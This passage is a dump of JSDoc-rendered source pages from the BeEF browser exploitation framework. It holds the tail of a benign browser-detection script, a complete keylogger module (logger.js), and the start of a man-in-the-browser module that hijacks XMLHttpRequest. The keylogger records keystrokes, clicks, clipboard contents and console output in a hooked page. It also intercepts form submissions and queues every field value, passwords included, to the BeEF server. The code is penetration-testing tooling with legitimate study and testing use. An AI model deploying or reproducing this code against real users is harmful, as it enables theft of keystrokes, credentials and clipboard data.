'IE' &amp;&amp; useFeatures) {\n      try {\n        if (context.external === null) {\n          description.unshift('platform preview');\n        }\n      } catch(e) {\n        description.unshift('embedded');\n      }\n    }\n    // Detect BlackBerry OS version.\n    // http://docs.blackberry.com/en/developers/deliverables/18169/HTTP_headers_sent_by_BB_Browser_1234911_11.jsp\n    else if ((/\\bBlackBerry\\b/.test(product) || /\\bBB10\\b/.test(ua)) &amp;&amp; (data =\n          (RegExp(product.replace(/ +/g, ' *') + '/([.\\\\d]+)', 'i').exec(ua) || 0)[1] ||\n          version\n        )) {\n      data = [data, /BB10/.test(ua)];\n      os = (data[1] ? (product = null, manufacturer = 'BlackBerry') : 'Device Software') + ' ' + data[0];\n      version = null;\n    }\n    // Detect Opera identifying/masking itself as another browser.\n    // http://www.opera.com/support/kb/view/843/\n    else if (this != forOwn &amp;&amp; product != 'Wii' &amp;&amp; (\n          (useFeatures &amp;&amp; opera) ||\n          (/Opera/.test(name) &amp;&amp; /\\b(?:MSIE|Firefox)\\b/i.test(ua)) ||\n          (name == 'Firefox' &amp;&amp; /\\bOS X (?:\\d+\\.){2,}/.test(os)) ||\n          (name == 'IE' &amp;&amp; (\n            (os &amp;&amp; !/^Win/.test(os) &amp;&amp; version > 5.5) ||\n            /\\bWindows XP\\b/.test(os) &amp;&amp; version > 8 ||\n            version == 8 &amp;&amp; !/\\bTrident\\b/.test(ua)\n          ))\n        ) &amp;&amp; !reOpera.test((data = parse.call(forOwn, ua.replace(reOpera, '') + ';'))) &amp;&amp; data.name) {\n      // When \"identifying\", the UA contains both Opera and the other browser's name.\n      data = 'ing as ' + data.name + ((data = data.version) ? ' ' + data : '');\n      if (reOpera.test(name)) {\n        if (/\\bIE\\b/.test(data) &amp;&amp; os == 'Mac OS') {\n          os = null;\n        }\n        data = 'identify' + data;\n      }\n      // When \"masking\", the UA contains only the other browser's name.\n      else {\n        data = 'mask' + data;\n        if (operaClass) {\n          name = format(operaClass.replace(/([a-z])([A-Z])/g, '$1 $2'));\n        } else {\n          name = 'Opera';\n        }\n        if (/\\bIE\\b/.test(data)) {\n          os = null;\n        }\n        if (!useFeatures) {\n          version = null;\n        }\n      }\n      layout = ['Presto'];\n      description.push(data);\n    }\n    // Detect WebKit Nightly and approximate Chrome/Safari versions.\n    if ((data = (/\\bAppleWebKit\\/([\\d.]+\\+?)/i.exec(ua) || 0)[1])) {\n      // Correct build number for numeric comparison.\n      // (e.g. \"532.5\" becomes \"532.05\")\n      data = [parseFloat(data.replace(/\\.(\\d)$/, '.0$1')), data];\n      // Nightly builds are postfixed with a \"+\".\n      if (name == 'Safari' &amp;&amp; data[1].slice(-1) == '+') {\n        name = 'WebKit Nightly';\n        prerelease = 'alpha';\n        version = data[1].slice(0, -1);\n      }\n      // Clear incorrect browser versions.\n      else if (version == data[1] ||\n          version == (data[2] = (/\\bSafari\\/([\\d.]+\\+?)/i.exec(ua) || 0)[1])) {\n        version = null;\n      }\n      // Use the full Chrome version when available.\n      data[1] = (/\\b(?:Headless)?Chrome\\/([\\d.]+)/i.exec(ua) || 0)[1];\n      // Detect Blink layout engine.\n      if (data[0] == 537.36 &amp;&amp; data[2] == 537.36 &amp;&amp; parseFloat(data[1]) >= 28 &amp;&amp; layout == 'WebKit') {\n        layout = ['Blink'];\n      }\n      // Detect JavaScriptCore.\n      // http://stackoverflow.com/questions/6768474/how-can-i-detect-which-javascript-engine-v8-or-jsc-is-used-at-runtime-in-androi\n      if (!useFeatures || (!likeChrome &amp;&amp; !data[1])) {\n        layout &amp;&amp; (layout[1] = 'like Safari');\n        data = (data = data[0], data &lt; 400 ? 1 : data &lt; 500 ? 2 : data &lt; 526 ? 3 : data &lt; 533 ? 4 : data &lt; 534 ? '4+' : data &lt; 535 ? 5 : data &lt; 537 ? 6 : data &lt; 538 ? 7 : data &lt; 601 ? 8 : data &lt; 602 ? 9 : data &lt; 604 ? 10 : data &lt; 606 ? 11 : data &lt; 608 ? 12 : '12');\n      } else {\n        layout &amp;&amp; (layout[1] = 'like Chrome');\n        data = data[1] || (data = data[0], data &lt; 530 ? 1 : data &lt; 532 ? 2 : data &lt; 532.05 ? 3 : data &lt; 533 ? 4 : data &lt; 534.03 ? 5 : data &lt; 534.07 ? 6 : data &lt; 534.10 ? 7 : data &lt; 534.13 ? 8 : data &lt; 534.16 ? 9 : data &lt; 534.24 ? 10 : data &lt; 534.30 ? 11 : data &lt; 535.01 ? 12 : data &lt; 535.02 ? '13+' : data &lt; 535.07 ? 15 : data &lt; 535.11 ? 16 : data &lt; 535.19 ? 17 : data &lt; 536.05 ? 18 : data &lt; 536.10 ? 19 : data &lt; 537.01 ? 20 : data &lt; 537.11 ? '21+' : data &lt; 537.13 ? 23 : data &lt; 537.18 ? 24 : data &lt; 537.24 ? 25 : data &lt; 537.36 ? 26 : layout != 'Blink' ? '27' : '28');\n      }\n      // Add the postfix of \".x\" or \"+\" for approximate versions.\n      layout &amp;&amp; (layout[1] += ' ' + (data += typeof data == 'number' ? '.x' : /[.+]/.test(data) ? '' : '+'));\n      // Obscure version for some Safari 1-2 releases.\n      if (name == 'Safari' &amp;&amp; (!version || parseInt(version) > 45)) {\n        version = data;\n      } else if (name == 'Chrome' &amp;&amp; /\\bHeadlessChrome/i.test(ua)) {\n        description.unshift('headless');\n      }\n    }\n    // Detect Opera desktop modes.\n    if (name == 'Opera' &amp;&amp;  (data = /\\bzbov|zvav$/.exec(os))) {\n      name += ' ';\n      description.unshift('desktop mode');\n      if (data == 'zvav') {\n        name += 'Mini';\n        version = null;\n      } else {\n        name += 'Mobile';\n      }\n      os = os.replace(RegExp(' *' + data + '$'), '');\n    }\n    // Detect Chrome desktop mode.\n    else if (name == 'Safari' &amp;&amp; /\\bChrome\\b/.exec(layout &amp;&amp; layout[1])) {\n      description.unshift('desktop mode');\n      name = 'Chrome Mobile';\n      version = null;\n\n      if (/\\bOS X\\b/.test(os)) {\n        manufacturer = 'Apple';\n        os = 'iOS 4.3+';\n      } else {\n        os = null;\n      }\n    }\n    // Newer versions of SRWare Iron uses the Chrome tag to indicate its version number.\n    else if (/\\bSRWare Iron\\b/.test(name) &amp;&amp; !version) {\n      version = getVersion('Chrome');\n    }\n    // Strip incorrect OS versions.\n    if (version &amp;&amp; version.indexOf((data = /[\\d.]+$/.exec(os))) == 0 &amp;&amp;\n        ua.indexOf('/' + data + '-') > -1) {\n      os = trim(os.replace(data, ''));\n    }\n    // Ensure OS does not include the browser name.\n    if (os &amp;&amp; os.indexOf(name) != -1 &amp;&amp; !RegExp(name + ' OS').test(os)) {\n      os = os.replace(RegExp(' *' + qualify(name) + ' *'), '');\n    }\n    // Add layout engine.\n    if (layout &amp;&amp; !/\\b(?:Avant|Nook)\\b/.test(name) &amp;&amp; (\n        /Browser|Lunascape|Maxthon/.test(name) ||\n        name != 'Safari' &amp;&amp; /^iOS/.test(os) &amp;&amp; /\\bSafari\\b/.test(layout[1]) ||\n        /^(?:Adobe|Arora|Breach|Midori|Opera|Phantom|Rekonq|Rock|Samsung Internet|Sleipnir|SRWare Iron|Vivaldi|Web)/.test(name) &amp;&amp; layout[1])) {\n      // Don't add layout details to description if they are falsey.\n      (data = layout[layout.length - 1]) &amp;&amp; description.push(data);\n    }\n    // Combine contextual information.\n    if (description.length) {\n      description = ['(' + description.join('; ') + ')'];\n    }\n    // Append manufacturer to description.\n    if (manufacturer &amp;&amp; product &amp;&amp; product.indexOf(manufacturer) &lt; 0) {\n      description.push('on ' + manufacturer);\n    }\n    // Append product to description.\n    if (product) {\n      description.push((/^on /.test(description[description.length - 1]) ? '' : 'on ') + product);\n    }\n    // Parse the OS into an object.\n    if (os) {\n      data = / ([\\d.+]+)$/.exec(os);\n      isSpecialCasedOS = data &amp;&amp; os.charAt(os.length - data[0].length - 1) == '/';\n      os = {\n        'architecture': 32,\n        'family': (data &amp;&amp; !isSpecialCasedOS) ? os.replace(data[0], '') : os,\n        'version': data ? data[1] : null,\n        'toString': function() {\n          var version = this.version;\n          return this.family + ((version &amp;&amp; !isSpecialCasedOS) ? ' ' + version : '') + (this.architecture == 64 ? ' 64-bit' : '');\n        }\n      };\n    }\n    // Add browser/OS architecture.\n    if ((data = /\\b(?:AMD|IA|Win|WOW|x86_|x)64\\b/i.exec(arch)) &amp;&amp; !/\\bi686\\b/i.test(arch)) {\n      if (os) {\n        os.architecture = 64;\n        os.family = os.family.replace(RegExp(' *' + data), '');\n      }\n      if (\n          name &amp;&amp; (/\\bWOW64\\b/i.test(ua) ||\n          (useFeatures &amp;&amp; /\\w(?:86|32)$/.test(nav.cpuClass || nav.platform) &amp;&amp; !/\\bWin64; x64\\b/i.test(ua)))\n      ) {\n        description.unshift('32-bit');\n      }\n    }\n    // Chrome 39 and above on OS X is always 64-bit.\n    else if (\n        os &amp;&amp; /^OS X/.test(os.family) &amp;&amp;\n        name == 'Chrome' &amp;&amp; parseFloat(version) >= 39\n    ) {\n      os.architecture = 64;\n    }\n\n    ua || (ua = null);\n\n    /*------------------------------------------------------------------------*/\n\n    /**\n     * The platform object.\n     *\n     * @name platform\n     * @type Object\n     */\n    var platform = {};\n\n    /**\n     * The platform description.\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.description = ua;\n\n    /**\n     * The name of the browser's layout engine.\n     *\n     * The list of common layout engines include:\n     * \"Blink\", \"EdgeHTML\", \"Gecko\", \"Trident\" and \"WebKit\"\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.layout = layout &amp;&amp; layout[0];\n\n    /**\n     * The name of the product's manufacturer.\n     *\n     * The list of manufacturers include:\n     * \"Apple\", \"Archos\", \"Amazon\", \"Asus\", \"Barnes &amp; Noble\", \"BlackBerry\",\n     * \"Google\", \"HP\", \"HTC\", \"LG\", \"Microsoft\", \"Motorola\", \"Nintendo\",\n     * \"Nokia\", \"Samsung\" and \"Sony\"\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.manufacturer = manufacturer;\n\n    /**\n     * The name of the browser/environment.\n     *\n     * The list of common browser names include:\n     * \"Chrome\", \"Electron\", \"Firefox\", \"Firefox for iOS\", \"IE\",\n     * \"Microsoft Edge\", \"PhantomJS\", \"Safari\", \"SeaMonkey\", \"Silk\",\n     * \"Opera Mini\" and \"Opera\"\n     *\n     * Mobile versions of some browsers have \"Mobile\" appended to their name:\n     * eg. \"Chrome Mobile\", \"Firefox Mobile\", \"IE Mobile\" and \"Opera Mobile\"\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.name = name;\n\n    /**\n     * The alpha/beta release indicator.\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.prerelease = prerelease;\n\n    /**\n     * The name of the product hosting the browser.\n     *\n     * The list of common products include:\n     *\n     * \"BlackBerry\", \"Galaxy S4\", \"Lumia\", \"iPad\", \"iPod\", \"iPhone\", \"Kindle\",\n     * \"Kindle Fire\", \"Nexus\", \"Nook\", \"PlayBook\", \"TouchPad\" and \"Transformer\"\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.product = product;\n\n    /**\n     * The browser's user agent string.\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.ua = ua;\n\n    /**\n     * The browser/environment version.\n     *\n     * @memberOf platform\n     * @type string|null\n     */\n    platform.version = name &amp;&amp; version;\n\n    /**\n     * The name of the operating system.\n     *\n     * @memberOf platform\n     * @type Object\n     */\n    platform.os = os || {\n\n      /**\n       * The CPU architecture the OS is built for.\n       *\n       * @memberOf platform.os\n       * @type number|null\n       */\n      'architecture': null,\n\n      /**\n       * The family of the OS.\n       *\n       * Common values include:\n       * \"Windows\", \"Windows Server 2008 R2 / 7\", \"Windows Server 2008 / Vista\",\n       * \"Windows XP\", \"OS X\", \"Linux\", \"Ubuntu\", \"Debian\", \"Fedora\", \"Red Hat\",\n       * \"SuSE\", \"Android\", \"iOS\" and \"Windows Phone\"\n       *\n       * @memberOf platform.os\n       * @type string|null\n       */\n      'family': null,\n\n      /**\n       * The version of the OS.\n       *\n       * @memberOf platform.os\n       * @type string|null\n       */\n      'version': null,\n\n      /**\n       * Returns the OS string.\n       *\n       * @memberOf platform.os\n       * @returns {string} The OS string.\n       */\n      'toString': function() { return 'null'; }\n    };\n\n    platform.parse = parse;\n    platform.toString = toStringPlatform;\n\n    if (platform.version) {\n      description.unshift(version);\n    }\n    if (platform.name) {\n      description.unshift(name);\n    }\n    if (os &amp;&amp; name &amp;&amp; !(os == String(os).split(' ')[0] &amp;&amp; (os == name.split(' ')[0] || product))) {\n      description.push(product ? '(' + os + ')' : 'on ' + os);\n    }\n    if (description.length) {\n      platform.description = description.join(' ');\n    }\n    return platform;\n  }\n\n  /*--------------------------------------------------------------------------*/\n\n  // Export platform.\n  var platform = parse();\n\n  // Some AMD build optimizers, like r.js, check for condition patterns like the following:\n  if (typeof define == 'function' &amp;&amp; typeof define.amd == 'object' &amp;&amp; define.amd) {\n    // Expose platform on the global object to prevent errors when platform is\n    // loaded by a script tag in the presence of an AMD loader.\n    // See http://requirejs.org/docs/errors.html#mismatch for more details.\n    root.platform = platform;\n\n    // Define as an anonymous module so platform can be aliased through path mapping.\n    define(function() {\n      return platform;\n    });\n  }\n  // Check for `exports` after `define` in case a build optimizer adds an `exports` object.\n  else if (freeExports &amp;&amp; freeModule) {\n    // Export for CommonJS support.\n    forOwn(platform, function(value, key) {\n      freeExports[key] = value;\n    });\n  }\n  else {\n    // Export to the global object.\n    root.platform = platform;\n  }\n}.call(this));\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/logger.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: logger.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: logger.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * Provides logging capabilities.\n * @namespace beef.logger\n */\nbeef.logger = {\n\t\n\trunning: false,\n    /**\n    * Internal logger id\n    */\n    id: 0,\n\t/**\n\t * Holds events created by user, to be sent back to BeEF\n\t */\n\tevents: [],\n\t/**\n\t * Holds current stream of key presses\n\t */\n\tstream: [],\n\t/**\n\t * Contains current target of key presses\n\t */\n\ttarget: null,\n\t/**\n\t * Holds the time the logger was started\n\t */\n\ttime: null,\n    /**\n    * Holds the event details to be sent to BeEF\n    */\n    e: function() {\n        this.id = beef.logger.get_id();\n        this.time = beef.logger.get_timestamp();\n        this.type = null;\n        this.x = 0;\n        this.y = 0;\n        this.target = null;\n        this.data = null;\n        this.mods = null;\n    },\n    /**\n     * Prevents from recursive event handling on form submission\n     */\n    in_submit: false,\n\t\n\t/**\n\t * Starts the logger\n\t */\n\tstart: function() {\n\n\t\tbeef.browser.hookChildFrames();\n\t\tthis.running = true;\n\t\tvar d = new Date();\n\t\tthis.time = d.getTime();\n\n        $j(document).off('keypress');\n        $j(document).off('click');\n        $j(window).off('focus');\n        $j(window).off('blur');\n        $j('form').off('submit');\n        $j(document.body).off('copy');\n        $j(document.body).off('cut');\n        $j(document.body).off('paste');\n\n        if (!!window.console &amp;&amp; typeof window.console == \"object\") {\n          try {\n            var oldInfo = window.console.info;\n            console.info = function (message) {\n              beef.logger.console('info', message);\n              oldInfo.apply(console, arguments);\n            };\n            var oldLog = window.console.log;\n            console.log = function (message) {\n              beef.logger.console('log', message);\n              oldLog.apply(console, arguments);\n            };\n            var oldWarn = window.console.warn;\n            console.warn = function (message) {\n              beef.logger.console('warn', message);\n              oldWarn.apply(console, arguments);\n            };\n            var oldDebug = window.console.debug;\n            console.debug = function (message) {\n              beef.logger.console('debug', message);\n              oldDebug.apply(console, arguments);\n            };\n            var oldError = window.console.error;\n            console.error = function (message) {\n              beef.logger.console('error', message);\n              oldError.apply(console, arguments);\n            };\n         } catch(e) {}\n       }\n\n\t\t$j(document).keypress(\n\t\t\tfunction(e) { beef.logger.keypress(e); }\n\t\t).click(\n\t\t\tfunction(e) { beef.logger.click(e); }\n\t\t);\n\t\t$j(window).focus(\n\t\t\tfunction(e) { beef.logger.win_focus(e); }\n\t\t).blur(\n\t\t\tfunction(e) { beef.logger.win_blur(e); }\n\t\t);\n\t\t$j('form').submit(\n\t\t\tfunction(e) { \n                beef.logger.submit(e); \n            }\n\t\t);\n\t\t$j(document.body).on('copy', function() {\n\t\t\tsetTimeout(\"beef.logger.copy();\", 10);\n\t\t});\n\t\t$j(document.body).on('cut', function() {\n\t\t\tsetTimeout(\"beef.logger.cut();\", 10);\n\t\t});\n\t\t$j(document.body).on('paste', function() {\n\t\t\tbeef.logger.paste();\n\t\t});\n\t},\n\t\n\t/**\n\t * Stops the logger\n\t */\n\tstop: function() {\n\t\tthis.running = false;\n\t\tclearInterval(this.timer);\n        $j(document).off('keypress');\n        $j(document).off('click');\n        $j(window).off('focus');\n        $j(window).off('blur');\n        $j('form').off('submit');\n        $j(document.body).off('copy');\n        $j(document.body).off('cut');\n        $j(document.body).off('paste');\n        // TODO: reset console\n\t},\n\n    /**\n    * Get id\n    */\n    get_id: function() {\n        this.id++;\n        return this.id;\n    },\n\n\t/**\n\t * Click function fires when the user clicks the mouse.\n\t */\n\tclick: function(e) {\n        var c = new beef.logger.e();\n        c.type = 'click';\n        c.x = e.pageX;\n        c.y = e.pageY;\n        c.target = beef.logger.get_dom_identifier(e.target);\n        this.events.push(c);\n\t},\n\t\n\t/**\n\t * Fires when the window element has regained focus\n\t */\n\twin_focus: function(e) {\n        var f = new beef.logger.e();\n        f.type = 'focus';\n        this.events.push(f);\n\t},\n\t\n\t/**\n\t * Fires when the window element has lost focus\n\t */\n\twin_blur: function(e) {\n        var b = new beef.logger.e();\n        b.type = 'blur';\n\t\tthis.events.push(b);\n\t},\n\t\n\t/**\n\t * Keypress function fires everytime a key is pressed.\n\t * @param {Object} e: event object\n\t */\n\tkeypress: function(e) {\n\t\tif (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))\n\t\t{\n\t\t\tbeef.logger.push_stream();\n\t\t\tthis.target = e.target;\n\t\t}\n\t\tthis.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});\n\t},\n\t\n\t/**\n\t * Copy function fires when the user copies data to the clipboard.\n\t */\n\tcopy: function(x) {\n\t\ttry {\n\t\t\tvar c = new beef.logger.e();\n\t\t\tc.type = 'copy';\n\t\t\tc.data = clipboardData.getData(\"Text\");\n\t\t\tthis.events.push(c);\n\t\t} catch(e) {}\n\t},\n\n\t/**\n\t * Cut function fires when the user cuts data to the clipboard.\n\t */\n\tcut: function() {\n\t\ttry {\n\t\t\tvar c = new beef.logger.e();\n\t\t\tc.type = 'cut';\n\t\t\tc.data = clipboardData.getData(\"Text\");\n\t\t\tthis.events.push(c);\n\t\t} catch(e) {}\n\t},\n\n        /**\n         * Console function fires when data is sent to the browser console.\n         */\n        console: function(type, message) {\n\t\ttry {\n\t\t\tvar c = new beef.logger.e();\n\t\t\tc.type = 'console';\n\t\t\tc.data = type + ': ' + message;\n\t\t\tthis.events.push(c);\n\t\t} catch(e) {}\n\t},\n\n\t/**\n\t * Paste function fires when the user pastes data from the clipboard.\n\t */\n\tpaste: function() {\n\t\ttry {\n\t\t\tvar c = new beef.logger.e();\n\t\t\tc.type = 'paste';\n\t\t\tc.data = clipboardData.getData(\"Text\");\n\t\t\tthis.events.push(c);\n\t\t} catch(e) {}\n\t},\n\n\t/**\n\t * Submit function fires whenever a form is submitted\n     * TODO: Cleanup this function\n\t */\n\tsubmit: function(e) {\n        if (beef.logger.in_submit) {\n            return true;\n        }\n\t\ttry {\n\t\t\tvar f = new beef.logger.e();\n\t\t\tf.type = 'submit';\n\t\t\tf.target = beef.logger.get_dom_identifier(e.target);\n            var jqForms = $j(e.target);\n            var values = jqForms.find('input').map(function() { \n                    var inp = $j(this);    \n                    return inp.attr('name') + '=' + inp.val(); \n                }).get().join();\n            beef.debug('submitting form inputs: ' + values);\n            /*\n\t\t\tfor (var i = 0; i &lt; e.target.elements.length; i++) {\n\t            values += \"[\"+i+\"] \"+e.target.elements[i].name+\"=\"+e.target.elements[i].value+\"\\n\";\n\t        }\n            */\n\t\t\tf.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\\n'+values;\n\t\t\tthis.events.push(f);\n            this.queue();\n            this.target = null;\n            beef.net.flush(function done() {\n                beef.debug(\"Submitting the form\");\n                beef.logger.in_submit = true;\n                jqForms.submit();\n                beef.logger.in_submit = false;\n                beef.debug(\"Done submitting\");\n            });\n            e.preventDefault();\n            return false;\n\t\t} catch(e) {}\n\t},\n\t\n\t/**\n\t * Pushes the current stream to the events queue\n\t */\n\tpush_stream: function() {\n\t\tif (this.stream.length > 0)\n\t\t{\n\t\t\tthis.events.push(beef.logger.parse_stream());\n\t\t\tthis.stream = [];\n\t\t}\n\t},\n\t\n\t/**\n\t * Translate DOM Object to a readable string\n\t */\n\tget_dom_identifier: function(target) {\n\t\ttarget = (target == null) ? this.target : target;\n\t\tvar id = '';\n\t\tif (target)\n\t\t{\n\t\t\tid = target.tagName.toLowerCase();\n\t\t\tid += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';\n\t\t\tid += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';\n\t\t}\n\t\treturn id;\n\t},\n\t\n\t/**\n\t * Formats the timestamp\n\t * @return {String} timestamp string\n\t */\n\tget_timestamp: function() {\n\t\tvar d = new Date();\n\t\treturn ((d.getTime() - this.time) / 1000).toFixed(3);\n\t},\n\t\n\t/**\n\t * Parses stream array and creates history string\n\t */\n\tparse_stream: function() {\n\t\tvar s = '';\n        var mods = '';\n\t\tfor (var i in this.stream){\n         try{\n            var mod = this.stream[i]['modifiers'];\n            s += String.fromCharCode(this.stream[i]['char']);\n            if(typeof mod != 'undefined' &amp;&amp;\n                      (mod['alt'] == true ||\n                      mod['ctrl'] == true ||\n                      mod['shift'] == true)){\n                mods += (mod['alt']) ? ' [Alt] ' : '';\n                mods += (mod['ctrl']) ? ' [Ctrl] ' : '';\n                mods += (mod['shift']) ? ' [Shift] ' : '';\n                mods += String.fromCharCode(this.stream[i]['char']);\n            }\n\n         }catch(e){}\n\t\t}\n        var k = new beef.logger.e();\n        k.type = 'keys';\n        k.target = beef.logger.get_dom_identifier();\n        k.data = s;\n        k.mods = mods;\n        return k;\n\t},\n\t\n\t/**\n\t * Queue results to be sent back to framework\n\t */\n\tqueue: function() {\n\t\tbeef.logger.push_stream();\n\t\tif (this.events.length > 0)\n\t\t{\n\t\t\tbeef.net.queue('/event', 0, this.events);\n\t\t\tthis.events = [];\n\t\t}\n\t}\n\t\t\n};\n\nbeef.regCmp('beef.logger');\n</code></pre>\n        </article>\n    </section>\n\n\n\n\n</div>\n\n<nav>\n    <h2><a href=\"index.html\">Home</a></h2><h3>Namespaces</h3><ul><li><a href=\"BeefJS.html\">BeefJS</a></li><li><a href=\"beef.are.html\">are</a></li><li><a href=\"beef.browser.html\">browser</a></li><li><a href=\"beef.browser.cookie.html\">cookie</a></li><li><a href=\"beef.browser.popup.html\">popup</a></li><li><a href=\"beef.dom.html\">dom</a></li><li><a href=\"beef.encode.base64.html\">base64</a></li><li><a href=\"beef.encode.json.html\">json</a></li><li><a href=\"beef.geolocation.html\">geolocation</a></li><li><a href=\"beef.hardware.html\">hardware</a></li><li><a href=\"beef.init.html\">init</a></li><li><a href=\"beef.logger.html\">logger</a></li><li><a href=\"beef.mitb.html\">mitb</a></li><li><a href=\"beef.net.html\">net</a></li><li><a href=\"beef.net.connection.html\">connection</a></li><li><a href=\"beef.net.cors.html\">cors</a></li><li><a href=\"beef.net.dns.html\">dns</a></li><li><a href=\"beef.net.local.html\">local</a></li><li><a href=\"beef.net.portscanner.html\">portscanner</a></li><li><a href=\"beef.net.requester.html\">requester</a></li><li><a href=\"beef.net.xssrays.html\">xssrays</a></li><li><a href=\"beef.os.html\">os</a></li><li><a href=\"beef.session.html\">session</a></li><li><a href=\"beef.timeout.html\">timeout</a></li><li><a href=\"beef.updater.html\">updater</a></li><li><a href=\"beef.webrtc.html\">webrtc</a></li><li><a href=\"beef.websocket.html\">websocket</a></li></ul><h3>Global</h3><ul><li><a href=\"global.html#platform\">platform</a></li></ul>\n</nav>\n\n<br class=\"clear\">\n\n<footer>\n    Documentation generated by <a href=\"https://github.com/jsdoc/jsdoc\">JSDoc 4.0.4</a> on Wed Dec 25 2024 12:42:36 GMT+1000 (Australian Eastern Standard Time)\n</footer>\n\n<script> prettyPrint(); </script>\n<script src=\"scripts/linenumber.js\"> </script>\n</body>\n</html>\n"
  },
  {
    "path": "docs/mitb.js.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>JSDoc: Source: mitb.js</title>\n\n    <script src=\"scripts/prettify/prettify.js\"> </script>\n    <script src=\"scripts/prettify/lang-css.js\"> </script>\n    <!--[if lt IE 9]>\n      <script src=\"//html5shiv.googlecode.com/svn/trunk/html5.js\"></script>\n    <![endif]-->\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/prettify-tomorrow.css\">\n    <link type=\"text/css\" rel=\"stylesheet\" href=\"styles/jsdoc-default.css\">\n</head>\n\n<body>\n\n<div id=\"main\">\n\n    <h1 class=\"page-title\">Source: mitb.js</h1>\n\n    \n\n\n\n    \n    <section>\n        <article>\n            <pre class=\"prettyprint source linenums\"><code>//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\n/**\n * @namespace beef.mitb\n */\nbeef.mitb = {\n\n    cid:null,\n    curl:null,\n\n    /** Initializes */ \n    init:function (cid, curl) {\n        beef.mitb.cid = cid;\n        beef.mitb.curl = curl;\n        /*Override open method to intercept ajax request*/\n        var hook_file = \"&lt;%= @hook_file %>\";\n\n        if (window.XMLHttpRequest &amp;&amp; !(window.ActiveXObject)) {\n\n            beef.mitb.sniff(\"Method XMLHttpRequest.open override\");\n            (function (open) {\n                XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {\n                    // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)\n                    // or a request initiated by the MiTB itself.\n                    if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf(\"/dh?\") != -1)) {\n                        open.call(this, method, url, async, true);\n                    }else {\n                        var portRegex = new RegExp(\":[0-9]+\");\n                        var portR = portRegex.exec(url);\n                        var requestPort;\n                        if (portR != null) { requestPort = portR[0].split(\":\")[1]; }\n\n                        //GET request\n                        if (method == \"GET\") {\n                            //GET request -> cross-origin\n                            if (url.indexOf(document.location.hostname) == -1 || (portR != null &amp;&amp; requestPort != document.location.port )) {\n                                beef.mitb.sniff(\"GET [Ajax CrossOrigin Request]: \" + url);\n                                window.open(url);\n                            }else { //GET request -> same-origin\n                                beef.mitb.sniff(\"GET [Ajax Request]: \" + url);\n                                if (beef.mitb.fetch(url, document.getElementsByTagName(\"html\")[0])) {\n                                    var title = \"\";\n                                    if (document.getElementsByTagName(\"title\").length == 0) {\n                                        title = document.title;\n                                    } else {\n        